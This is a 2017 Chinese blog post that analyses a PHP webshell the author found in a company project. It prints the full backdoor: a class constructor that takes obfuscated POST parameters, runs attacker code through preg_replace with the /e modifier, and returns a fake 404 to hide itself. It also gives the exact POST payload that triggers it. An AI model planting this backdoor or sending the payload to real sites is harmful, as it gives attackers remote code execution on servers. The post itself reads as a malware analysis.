LOFTER-网易轻博

调用魔术方法php小马复现
kerling 2017-07-20

<?php

class Plugin { 

public function __construct() { 

 $jq = @$_POST['SNrEeYyIMGvjCHfq3']; 

if ($jq) { 

 $option = $jq (@$_POST['SNrEeYyIMGvjCHfq2']) ;

 $au = $jq ( @$_POST['SNrEeYyIMGvjCHfq1']) ; 

 $option ( "/438/e" , $au , 438 ) ; 

 } else { 

header("HTTP/1.0 404 Not Found");

 } 

 } 

$content = new Plugin; 

先上代码 。这个代码是在做一次公司项目是扣到的 很有意思便保存了下来

可以看到这里是使用了一个魔术方法__construct 就是说在创建一个class时会触发 更多魔术方法在这里有提及,这里代码主要就是三个变量从post获取SNrEeYyIMGvjCHfq3   SNrEeYyIMGvjCHfq2  SNrEeYyIMGvjCHfq1

$jq是通过SNrEeYyIMGvjCHfq3 进入 else语句是一个404header 估计是防止检测一类用的。所以这里要走if 内容 看一下这一句

 $option ( "/438/e" , $au , 438 ) ; 

如果熟悉php应该能明白这里使用的就是preg_replace进行代码执行 因为有/e 所以考虑option 为preg_replace 而 option是来于

$option = $jq (@$_POST['SNrEeYyIMGvjCHfq2']) ;

因为函数的方法是变量传递的不是特定函数。所以考虑使用 一个函数使他的返回值要为preg_repalce 也就是说返回值需要是一个string 类型。这里选择很多刚开始使用strreplace,但是失败了,后来我选择空格过滤函数trim 那么如果我们选择执行函数是preg_replace 那么au就是我们的恶意代码了 因为jq函数是trim 那么恶意代码不需要特别的编码(trim也可以用base64_decode代替进行base64代码的加密)

那么最后的执行payload为

SNrEeYyIMGvjCHfq1=phpinfo();&SNrEeYyIMGvjCHfq3=trim&SNrEeYyIMGvjCHfq2=preg_replace


http://wordpressrelated.com/execute-php-code-from-cookie/ 

https://stackoverflow.com/questions/28461492/execute-php-code-from-cookie


推荐文章
评论(0)
联系我们|招贤纳士|移动客户端|风格模板|官方博客
网易公司版权所有 ©1997-2018 浙公网安备 33010002000017号ICP备:浙B2-20090185-5增值电信业务经营许可证:浙B2-20090185
分享到
转载我的主页